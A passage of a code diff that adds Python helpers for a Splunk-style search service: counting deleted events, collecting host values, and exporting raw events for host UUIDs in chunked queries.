+ rows = run_search(service, query, earliest_time="0", latest_time="now", max_count=1) + deleted = 0 + for row in rows: + try: + deleted += int(row.get("deleted", 0)) + except (TypeError, ValueError): + continue + return deleted + + +def collect_hosts_from_rows(rows: List[Dict[str, str]]) -> Set[str]: + """Extract the set of non-empty host values from search result rows.""" + hosts: Set[str] = set() + for row in rows: + value = row.get("host") + if isinstance(value, list): + hosts.update(str(v) for v in value if v) + elif value: + hosts.add(str(value)) + return hosts + + +def _chunked(items: List[str], size: int) -> Iterable[List[str]]: + for i in range(0, len(items), size): + yield items[i : i + size] + + +def build_export_query(index: str, host_uuids: List[str]) -> str: + """Build an export query of the form: index= host IN (...).""" + quoted = ", ".join(f'"{h}"' for h in host_uuids) + return f'search index={index} host IN ({quoted})' + + +def export_events( + service, + index: str, + host_uuids: Set[str], + earliest_time: str = DEFAULT_EARLIEST, + latest_time: str = DEFAULT_LATEST, + max_count: int = 100000, +) -> List[str]: + """Export the raw events for the given host UUIDs from an index. + + Runs one search per chunk of host UUIDs (to bound query length) and returns + the collected ``_raw`` event strings. + """ + raw_events: List[str] = [] + ordered = sorted(host_uuids) + for chunk in _chunked(ordered, EXPORT_HOST_CHUNK): + query = build_export_query(index, chunk) + " | table _raw" + rows = run_search( + service, + query, + earliest_time=earliest_time, + latest_time=latest_time, + max_count=max_count, + ) + for row in rows: + raw = row.get("_raw") + if raw: + raw_events.append(raw) + return raw_events